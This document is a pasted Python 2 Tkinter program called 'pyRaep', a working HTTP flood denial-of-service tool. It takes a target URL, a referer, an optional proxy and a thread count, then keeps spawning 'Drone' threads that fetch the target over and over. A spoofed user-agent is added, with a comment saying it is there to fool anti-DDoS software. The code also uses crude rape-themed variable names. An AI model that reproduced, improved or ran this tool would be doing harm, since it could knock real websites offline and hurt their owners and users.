rendered paste body####################################################
################# Import Libraries #################
####################################################
from Tkinter import *
import os
import sys
import threading
import urllib2
from Queue import *
from decimal import *
import math
import time
import socket
####################################################
################### WINDOWS FIX ####################
####################################################
if sys.platform == 'win32':
win32 = 1 #Set to 1 if you run windows
else:
win32 = 0
####################################################
################ Default Variables #################
####################################################
spawnerRedundancy = 3 #Number of spawners - makes sure there is no shortage of threads. Too many may cause problems.
droneQueue = 2 #One more than the number of loops each drone thread should make (more can make better raep, but causes problems closing)
####################################################
################## TKinter Loops ###################
####################################################
root = Tk() #Default window
root.minsize(300,100) #Set main window size
root.maxsize(300,300) #Set main window size
####################################################
################## Thread Classes ##################
####################################################
################ Start/End Threads #################
class cleanUp(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
print "> Removing 'stop' file"
if os.path.exists('stop'): #if stop file exists
os.unlink('stop') #eliminate stop marker
class selfdestruct(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
if win32 != 1:
import tkMessageBox
tkMessageBox.showwarning(
"Shutting Down",
"Click OK, then wait for termination. May take a minute, depending on threadcount. You should see a countdown to zero in the terminal/command prompt\n"
)
else:
print "WARNING! There is a problem with tkinter on win32! You may have to close the window manually!"
print "##Stopping pyRaep"
print "> Creating 'stop' file"
stop_obj = open('stop',"w")
stop_obj.write('stop')
stop_obj.close()
print "> Waiting for Drone threads to terminate (may take a while)"
last = threading.activeCount()-2
while 1:
if (threading.activeCount()-2) != last:
print "> > Threads left to terminate: ", (threading.activeCount()-2)
if (threading.activeCount() == 2) or ((threading.activeCount() == 3) and win32 == 1): #For cleanup when the only threads left are for the GUI
print "> > OK, Drone threads terminated."
print "> Attempt to remove status window"
warnwin32 = 0 #For shutdown when win32 is the OS
try:
status.destroy()
print "> > Status Window removed"
except:
pass #DoS never started
print "> > No status window, skipping"
if win32 == 1:
warnwin32 = 1
print "> Attempting to remove 'stop' file"
try:
os.unlink('stop')
print "> > Stop file removed"
except:
print "> > ERR! Could not remove stop file, please do it manually"
print "> Destroying main window"
if warnwin32 == 1:
print "WARNING! There is a problem with tkinter on win32! To exit, you must use the task manager (ctrl+alt+delete, select pythonw)!"
if win32 != 1:
root.destroy()
else:
sys.exit()
root.destroy()
last = threading.activeCount()-2
################# Start the process ################
class initiateit(threading.Thread):
def __init__(self, resource, referer, maxthreads, proxyaddr):
#Transfer input variables to self
self.resource = resource
self.referer = referer
self.maxthreads = maxthreads
self.proxyaddr = proxyaddr
#Initiate main section of initiateit
threading.Thread.__init__(self)
def run(self):
#Begin spawning threads
print "##Starting pyRaep"
print "> Spawning Hive Thread"
q = Queue(self.maxthreads) #Create queue
Hive_threads().start() #Start Hive (queue) thread
Hive(q).start() #Start Hive (queue) thread
print "> Creating redundant spawners\r\n"
for i in range(1,spawnerRedundancy):
spawner(self.resource, self.referer, self.maxthreads, q, self.proxyaddr).start() #Make as many spawners as neccesary
class spawner(threading.Thread):
def __init__(self, resource, referer, maxthreads, q, proxyaddr):
#Transfer input variables to self
self.resource = resource
self.referer = referer
self.maxthreads = maxthreads
self.q = q
self.proxyaddr = proxyaddr
#Initiate main section of spawner
threading.Thread.__init__(self)
def run(self):
#Begin spawning threads
print "> Try spawning threads"
while not os.path.exists('stop'): #If stop command has not been given
if threading.activeCount() <= self.maxthreads: #Loop to keep threadcount up
Drone(self.resource,self.referer,self.q,self.proxyaddr).start() #Spawn Drone thread
else:
pass #There are enough threads
################# Monitor Progress ################
class Hive(threading.Thread):
def __init__(self,q):
#Transfer input to local variable
self.q = q
#Initiate main Hive function
threading.Thread.__init__(self)
def run(self):
#Initiate and Set needed variables
totaldownload = 0 #Set download amount count to 0
time_start = time.clock() #Get curent Unix Time (in seconds)
time_begin = time.clock()
while not os.path.exists('stop'):
#Do work
downloaded = Decimal(self.q.get()) #Get size of most recent download
tmpdown = Decimal(downloaded)/Decimal(1024)
elap = Decimal(str(time.clock() - time_start)) #get time since last cycle
totalelap = Decimal(str(time.clock() - time_begin)) #get time since start
if elap==0:
elap = 0.05 #fix or OH SHI- DIVIDED BY ZERO
speed = round(Decimal(tmpdown/Decimal(str(elap))), 2) #speed since last cycle
totaldownload += Decimal(downloaded) #Add sizes to get total download size
avgspeed = round(Decimal((totaldownload/1024)/Decimal(str(totalelap))), 2) #avg speed
#Create human-readable variables
show_downloaded = round(((Decimal(totaldownload/Decimal(1024*1024)))),2) #Get total download size in megabytes
#Update status window
status_downloads.config(text=show_downloaded) #Update total download amount
status_download.config(text=speed) #Update download speed
status_downloada.config(text=avgspeed) #Update download speed
time_start = time.clock() #get new time
############## Main Worker Treadess ##############
class Drone(threading.Thread):
def __init__(self,resource,referer,q,httpproxy):
#Transfer input to local variable
self.resource = resource
self.referer = referer
self.q = q
self.httpproxy = httpproxy
#Initiate main Drone function
threading.Thread.__init__(self)
def run(self):
#Create needed variables
self.count = 0
#Build request
socket.setdefaulttimeout(2)
if self.httpproxy != "--": #If proxy is set
proxy_support = urllib2.ProxyHandler({"http":"http://" + self.httpproxy})
opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
request = urllib2.Request(self.resource) #Create initial request
request.add_header('Referer', self.referer) #Add referer field
request.addheaders = [('User-agent', 'Mozilla/4.0')] #Fool anti-DDoS/bot software
#Begin main drone loop
for i in range(1, droneQueue): #Threads terminate automatically without spawners
try:
#Deal with sockets
sk = urllib2.urlopen(request) #Open request socket
nulify = sk.read() #Read socket
raped = len(nulify) #Get length of downloaded data in bytes
sk.close() #Close socket
#Deal with Queue
self.q.put(raped) #Append data to queue
except:
pass #Err
####################################################
################### Tkinter Class ##################
####################################################
class Hive_Status(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.master.title("Status")
self.config(background='#000000')
self.pack()
self.run()
def run(self):
photo = PhotoImage(file='banner.gif')
ba = Label(self, image=photo, bg="black", borderwidth=0)
ba.photo = photo
ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)
self.status_threads_label = Label(self, text="Threadcount: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')
self.status_threads_label.grid(row=1, column=0, sticky=EW)
global status_threads
status_threads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')
status_threads.grid(row=1, column=1, sticky=EW)
self.status_downloads_label = Label(self, text="Downloaded: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')
self.status_downloads_label.grid(row=2, column=0, sticky=EW)
global status_downloads
status_downloads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')
status_downloads.grid(row=2, column=1, sticky=EW)
self.status_download_label = Label(self, text="Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')
self.status_download_label.grid(row=3, column=0, sticky=EW)
global status_download
status_download = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')
status_download.grid(row=3, column=1, sticky=EW)
self.status_downloada_label = Label(self, text="Average Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')
self.status_downloada_label.grid(row=4, column=0, sticky=EW)
global status_downloada
status_downloada = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')
status_downloada.grid(row=4, column=1, sticky=EW)
################## Monitor stuff ###################
class Hive_threads(threading.Thread):
def __init__(self):
#Initiate main Hive_threads function
threading.Thread.__init__(self)
def run(self):
time.sleep(5) #Wait until status window is created
while not os.path.exists('stop'): #While stop command has not been given
active = threading.activeCount()-3 #Get number of Drone threads
global status_threads
status_threads.config(text=active) #Update thread counter
####################################################
################### Tkinter Class ##################
####################################################
class Queen(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.master.title("pyRAEP GUI v1.0 ALPHA")
self.config(background='#000000')
self.pack()
self.run()
def run(self):
self.master.protocol("WM_DELETE_WINDOW", self.destruct)
#Build GUI
photo = PhotoImage(file='banner.gif')
ba = Label(self, image=photo, bg="black", borderwidth=0)
ba.photo = photo
ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)
self.resource = Label(self, text="Resource:", background='#000000', foreground='#9E9E9E', border=0) #Resource label
self.resource.grid(row=1, column=0) #Resource label grid location
self.resource_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Resource input
self.resource_get.grid(row=1, column=1) #Resource input grid location
self.referer = Label(self, text="Referer:", background='#000000', foreground='#9E9E9E', border=0) #Referer label
self.referer.grid(row=2, column=0) #Referer label grid locaton
self.referer_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Referer input
self.referer_get.grid(row=2, column=1) #Referer input grid location
self.prox = Label(self, text="Proxy:", background='#000000', foreground='#9E9E9E', border=0) #Proxy label
self.prox.grid(row=3, column=0) #Proxy label grid location
self.prox_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Proxy input
self.prox_get.grid(row=3, column=1) #Proxy input grid location
configi = Frame(self, bg="black", padx=0, pady=0, relief=RIDGE) #Frame to hold thread-count ticker
self.threads = Scale (configi, orient='horizontal', tickinterval=10, from_=4, to=100, length=300, background='#000000', foreground='#9E9E9E', border=0, relief = RIDGE) #Scale for threadcount
self.threads.pack(anchor='center', expand='true') #Pack scale in frame
self.threadslabel = Label(configi, text="Stability <-- --> Strength", background='#000000', foreground='#9E9E9E') #Scale label
self.threadslabel.pack() #Pack scale label in frame
configi.grid(row=4, column=0, columnspan=4) #Set grid location of frame
self.Submitst = Button(self, text="Start", command=self.initiate, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button
self.Submitst.grid(row=5, column=0, sticky=W+E+N+S) #Begin button grid location
self.Submitsp = Button(self, text="Stop", command=self.destruct, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button
self.Submitsp.grid(row=5, column=1, sticky=W+E+N+S) #Begin button grid location
def destruct(self):
selfdestruct().start() #Start stopping program
def initiate(self):
print "Attempting to start\r\n"
#Function to spawn needed threads
#Create/Generate variables
maxthreads = int(self.threads.get())+2 #Find max number of threads
resource = self.resource_get.get() #Get resource
referer = self.referer_get.get() #Get referer
proxyaddr = self.prox_get.get() #Get proxy
if proxyaddr != "":
pass #proxy will be used
else:
proxyaddr = "--" #Will be used later to indicate ignoring this
initiateit(resource, referer, maxthreads, proxyaddr).start() #Launch thread to spawn all other threads
global status #Make status a global variable, for later access
status = Toplevel() #Make status into a tk window
status.minsize(300,100) #Set size
status.maxsize(300,300) #Set size
Hive_Status(master=status).mainloop() #Start app
#Start everything
cleanUp().start()
app = Queen(master=root)
app.mainloop()
sys.exit()